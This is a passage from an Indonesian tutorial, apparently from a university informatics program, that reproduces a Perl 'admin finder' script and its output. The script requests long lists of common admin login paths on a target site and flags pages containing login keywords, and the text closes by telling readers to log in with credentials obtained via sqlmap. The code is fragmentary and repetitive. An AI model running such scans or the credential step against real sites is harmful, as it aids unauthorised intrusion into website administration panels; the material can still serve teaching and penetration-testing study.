'moderator/login.html','adminarea/login.html','paneladministracion/index.html','paneladministracion/admin.html','modelsearch/index.html','modelsearch/a dmin.html', 'admincontrol/login.html','adm/index.html','adm.html','moderator/a dmin.html','user.aspx','account.html','controlpanel.html','adminco ntrol.html', 'panel-administracion/login.aspx','wplogin.aspx','adminLogin.aspx','admin/adminLogin.aspx','home.aspx', 'admin.aspx','adminarea/index.aspx', 'adminarea/admin.aspx','adminarea/login.aspx','paneladministracion/index.aspx','paneladministracion/admin.aspx','modelsearch/index.aspx', 'modelsearch/admin.aspx','admincontrol/login.aspx','adm/admloginus er.aspx','admloginuser.aspx','admin2.aspx','admin2/login.aspx','ad min2/index.aspx','usuarios/login.aspx', 'adm/index.aspx','adm.aspx','affiliate.aspx','adm_auth.aspx','memb eradmin.aspx','administratorlogin.aspx' ); foreach $ways(@path2){ $final=$site.$ways; my $req=HTTP::Request->new(GET=>$final);
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my $ua=LWP::UserAgent->new(); $ua->timeout(30); my $response=$ua->request($req); if($response->content =~ /Username/ || $response->content =~ /Password/ || $response->content =~ /username/ || $response->content =~ /password/ || $response->content =~ /USERNAME/ || $response->content =~ /PASSWORD/ || $response->content =~ /Username/ || $response->content =~ /Wachtwoord/ || $response->content =~ /Senha/ || $response->content =~ /senha/ || $response->content =~ /Personal/ || $response->content =~ /Usuario/ || $response->content =~ /Clave/ || $response->content =~ /Usager/ || $response->content =~ /usager/ || $response->content =~ /Sing/ || $response->content =~ /passe/ || $response->content =~ /P\/W/ || $response->content =~ /Admin Password/ ){ print " \n [+] Found -> $final\n\n"; }else{ print "[-] Not Found 
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'admin/cp.js','cp.js','administrator/index.js','administrator/logi n.js','nsw/admin/login.js','webadmin/login.js','admin/admin_login. js','admin_login.js', 'administrator/account.js','administrator.js','admin_area/admin.ht ml','pages/admin/admin-login.js','admin/admin-login.js','adminlogin.js', 'bb-admin/index.html','bb-admin/login.html','bbadmin/admin.html','admin/home.html','login.js','modelsearch/login. js','moderator.js','moderator/login.js', 'moderator/admin.js','account.js','pages/admin/adminlogin.html','admin/admin-login.html','adminlogin.html','controlpanel.js','admincontrol.js', 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html', 'home.html','rcjakar/admin/login.js','adminarea/index.html','admin area/admin.html', 'webadmin.js','webadmin/index.js','acceso.js','webadmin/admin.js', 'admin/controlpanel.html','admin.html','admin/cp.html','cp.html',' adminpanel.js','moderator.html', 'administrator/index.html','administrator/login.html','user.html', 'administrator/account.html','administrator.html','login.html','mo delsearch/login.html', 'moderator/login.html','adminarea/login.html','paneladministracion/index.html','paneladministracion/admin.html','modelsearch/index.html','modelsearch/a dmin.html', 'admincontrol/login.html','adm/index.html','adm.html','moderator/a dmin.html','user.js','account.html','controlpanel.html','admincont rol.html', 'panel-administracion/login.js','wplogin.js','adminLogin.js','admin/adminLogin.js','home.js','admin.j s','adminarea/index.js', 'adminarea/admin.js','adminarea/login.js','paneladministracion/index.js','paneladministracion/admin.js','modelsearch/index.js', 'modelsearch/admin.js','admincontrol/login.js','adm/admloginuser.j s','admloginuser.js','admin2.js','admin2/login.js','admin2/index.j s','usuarios/login.js', 'adm/index.js','adm.js','affiliate.js','adm_auth.js','memberadmin. js','administratorlogin.js' ); foreach $ways(@path2){ $final=$site.$ways; my $req=HTTP::Request->new(GET=>$final); my $ua=LWP::UserAgent->new(); $ua->timeout(30); my $response=$ua->request($req); if($response->content $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~



=~ /Username/ || /Password/ || /username/ || /password/ || /USERNAME/ || /PASSWORD/ ||
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$response->content =~ /Username/ || $response->content =~ /Wachtwoord/ || $response->content =~ /Senha/ || $response->content =~ /senha/ || $response->content =~ /Personal/ || $response->content =~ /Usuario/ || $response->content =~ /Clave/ || $response->content =~ /Usager/ || $response->content =~ /usager/ || $response->content =~ /Sing/ || $response->content =~ /passe/ || $response->content =~ /P\/W/ || $response->content =~ /Admin Password/ ){ print " \n [+] Found -> $final\n\n"; }else{ print "[-] Not Found 
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'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html', 'home.html','rcjakar/admin/login.cgi','adminarea/index.html','admi narea/admin.html', 'webadmin.cgi','webadmin/index.cgi','acceso.cgi','webadmin/admin.c gi','admin/controlpanel.html','admin.html','admin/cp.html','cp.htm l','adminpanel.cgi','moderator.html', 'administrator/index.html','administrator/login.html','user.html', 'administrator/account.html','administrator.html','login.html','mo delsearch/login.html', 'moderator/login.html','adminarea/login.html','paneladministracion/index.html','paneladministracion/admin.html','modelsearch/index.html','modelsearch/a dmin.html', 'admincontrol/login.html','adm/index.html','adm.html','moderator/a dmin.html','user.cgi','account.html','controlpanel.html','admincon trol.html', 'panel-administracion/login.cgi','wplogin.cgi','adminLogin.cgi','admin/adminLogin.cgi','home.cgi','adm in.cgi','adminarea/index.cgi', 'adminarea/admin.cgi','adminarea/login.cgi','paneladministracion/index.cgi','paneladministracion/admin.cgi','modelsearch/index.cgi', 'modelsearch/admin.cgi','admincontrol/login.cgi','adm/admloginuser .cgi','admloginuser.cgi','admin2.cgi','admin2/login.cgi','admin2/i ndex.cgi','usuarios/login.cgi', 'adm/index.cgi','adm.cgi','affiliate.cgi','adm_auth.cgi','memberad min.cgi','administratorlogin.cgi' ); foreach $ways(@path2){ $final=$site.$ways; my $req=HTTP::Request->new(GET=>$final); my $ua=LWP::UserAgent->new(); $ua->timeout(30); my $response=$ua->request($req); if($response->content $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~ $response->content =~



=~ /Username/ || /Password/ || /username/ || /password/ || /USERNAME/ || /PASSWORD/ || /Username/ || /Wachtwoord/ || /Senha/ || /senha/ || /Personal/ || /Usuario/ || /Clave/ || /Usager/ || /usager/ || /Sing/ || /passe/ || /P\/W/ ||
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$response->content =~ /Admin Password/ ){ print " \n [+] Found -> $final\n\n"; }else{ print "[-] Not Found 
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administracion/admin.html','modelsearch/index.html','modelsearch/a dmin.html', 'admincontrol/login.html','adm/index.html','adm.html','moderator/a dmin.html','user.brf','account.html','controlpanel.html','admincon trol.html', 'panel-administracion/login.brf','wplogin.brf','adminLogin.brf','admin/adminLogin.brf','home.brf','adm in.brf','adminarea/index.brf', 'adminarea/admin.brf','adminarea/login.brf','paneladministracion/index.brf','paneladministracion/admin.brf','modelsearch/index.brf', 'modelsearch/admin.brf','admincontrol/login.brf','adm/admloginuser .brf','admloginuser.brf','admin2.brf','admin2/login.brf','admin2/i ndex.brf','usuarios/login.brf', 'adm/index.brf','adm.brf','affiliate.brf','adm_auth.brf','memberad min.brf','administratorlogin.brf' ); foreach $ways(@path2){ $final=$site.$ways; my $req=HTTP::Request->new(GET=>$final); my $ua=LWP::UserAgent->new(); $ua->timeout(30); my $response=$ua->request($req); if($response->content =~ /Username/ || $response->content =~ /Password/ || $response->content =~ /username/ || $response->content =~ /password/ || $response->content =~ /USERNAME/ || $response->content =~ /PASSWORD/ || $response->content =~ /Username/ || $response->content =~ /Wachtwoord/ || $response->content =~ /Senha/ || $response->content =~ /senha/ || $response->content =~ /Personal/ || $response->content =~ /Usuario/ || $response->content =~ /Clave/ || $response->content =~ /Usager/ || $response->content =~ /usager/ || $response->content =~ /Sing/ || $response->content =~ /passe/ || $response->content =~ /P\/W/ || $response->content =~ /Admin Password/ ){ print " \n [+] Found -> $final\n\n"; }else{ print "[-] Not Found 
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Untuk  menjalankan  admin  finder,  anda  bisa  menyimpan  source  code-‐nya  dengan   menyalin   ke   text   editor   seperti   notepad   lalu   simpan   dengan   format   “.pl”.   lalu   anda   buka   terminal   dan   masuk   ke   direktori   dimana   anda   menyimpan   source   code   admin   finder   tersebut  dan  eksekusi  dengan  perintah  :   Disini  saya  asumsikan  anda  menyimpannya  dengan  nama  admin_finder.pl.   #  perl  admin_finder.pl   Masukkan  target  website  yang  ingin  anda  cari  halaman  login  administratornya  :  



Setelah   itu   anda   masukkan   bahasa   pemrograman   yang   digunakan   untuk   membangun   website  tersebut.    
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Selanjutnya   anda   tinggal   menunggu   sampai   sampai   program   tersebut   selesai   melakukan   scanning.   >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > Admin CP Finder > > Created By Cyb3rw0rM > > Visit my page on FACEBOOK > > http://www.facebook.com/BackTrack.Fan.Page > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Please Enter Site Example: www.victim.com or www.victim.com/path -> www.web_target.com Enter site source code 1 2 3 4 5 6 7



= = = = = = =



php asp aspx cfm js cgi brf



-> 1 -> Target: http://www.web_target.com/ -> Site source code: 1 -> Searching admin cp...
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[+] Found -> http://www.web_target.com/admin/ [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-]



Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not



Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found






http://www.web_target.com/administrator/ http://www.web_target.com/admin1/ http://www.web_target.com/admin2/ http://www.web_target.com/admin3/ http://www.web_target.com/admin4/ http://www.web_target.com/admin5/ http://www.web_target.com/usuarios/ http://www.web_target.com/usuario/ http://www.web_target.com/administrator/ http://www.web_target.com/moderator/ http://www.web_target.com/webadmin/ http://www.web_target.com/adminarea/ http://www.web_target.com/bb-admin/ http://www.web_target.com/adminLogin/ http://www.web_target.com/admin_area/ http://www.web_target.com/panel-administracion/ http://www.web_target.com/instadmin/ http://www.web_target.com/memberadmin/ http://www.web_target.com/administratorlogin/ http://www.web_target.com/adm/ http://www.web_target.com/admin/account.php



[+] Found -> http://www.web_target.com/admin/index.php [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-]



Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not Not



Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found Found






http://www.web_target.com/admin/login.php http://www.web_target.com/admin/admin.php http://www.web_target.com/admin/account.php http://www.web_target.com/admin_area/admin.php http://www.web_target.com/admin_area/login.php http://www.web_target.com/siteadmin/login.php http://www.web_target.com/siteadmin/index.php http://www.web_target.com/siteadmin/login.html http://www.web_target.com/admin/account.html http://www.web_target.com/admin/index.html http://www.web_target.com/admin/login.html http://www.web_target.com/admin/admin.html http://www.web_target.com/admin_area/index.php http://www.web_target.com/bb-admin/index.php http://www.web_target.com/bb-admin/login.php http://www.web_target.com/bb-admin/admin.php http://www.web_target.com/admin/home.php http://www.web_target.com/admin_area/login.html http://www.web_target.com/admin_area/index.html http://www.web_target.com/admin/controlpanel.php http://www.web_target.com/admin.php http://www.web_target.com/admincp/index.asp http://www.web_target.com/admincp/login.asp http://www.web_target.com/admincp/index.html http://www.web_target.com/admin/account.html http://www.web_target.com/adminpanel.html http://www.web_target.com/webadmin.html http://www.web_target.com/webadmin/index.html http://www.web_target.com/webadmin/admin.html
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[-] Not Found  http://www.web_target.com/login.php [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found login.html [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found [-] Not Found






http://www.web_target.com/modelsearch/login.php http://www.web_target.com/moderator.php http://www.web_target.com/moderator/login.php http://www.web_target.com/moderator/admin.php http://www.web_target.com/account.php http://www.web_target.com/pages/admin/admin-






http://www.web_target.com/admin/admin-login.html http://www.web_target.com/admin-login.html http://www.web_target.com/controlpanel.php http://www.web_target.com/admincontrol.php http://www.web_target.com/admin/adminLogin.html http://www.web_target.com/adminLogin.html http://www.web_target.com/admin/adminLogin.html http://www.web_target.com/home.html http://www.web_target.com/rcjakar/admin/login.php http://www.web_target.com/adminarea/index.html http://www.web_target.com/adminarea/admin.html http://www.web_target.com/webadmin.php http://www.web_target.com/webadmin/index.php http://www.web_target.com/webadmin/admin.php http://www.web_target.com/admin/controlpanel.html http://www.web_target.com/admin.html http://www.web_target.com/admin/cp.html http://www.web_target.com/cp.html http://www.web_target.com/adminpanel.php http://www.web_target.com/moderator.html
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[-] Not Found 
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Sekarang  kita  sudah  menemukan  halaman  login  website  tersebut  di  url  :   [+] Found -> http://www.web_target.com/login.php



Setelah   menemukan   halaman   login   website   tersebut,   anda   tinggal   mengaksesnya   melalui   web   browser   dan   masukkan   username   dan   password   yang   tadi   sudah  anda  temukan  menggunakan  sqlmap.        
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DAFTAR  PUSTAKA     Eichel,  Zico.  (2013)  Attacking  Side  With  Backtrack.  Edisi  2,  Jakarta:  Indonesian  Backtrack   Team   S’to.  (2013)  Backtrack  :  100%  Attack,  Jakarta:  Jasakaom   Cyberking.  (2014)  Hardcore  Hacking  With  Kali  Linux,  Jakarta:  Indonesian  Backtrack  Team   http://indonesianbacktrack.or.id   http://koecroet.wordpress.com      
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Untuk  informasi  lebih  lanjut,  silakan  menghubungi:   Program  Studi  Teknik  Informatika   Fakultas  Teknologi  Informasi   Universitas  YARSI   1. Abbas   E-‐mail  :  [email protected]     2. Sri  Puji  Utami  A.,  M.T   E-‐mail  :  [email protected]   3. Herika  Hayurani,  M.Kom   E-‐mail  :  [email protected]    
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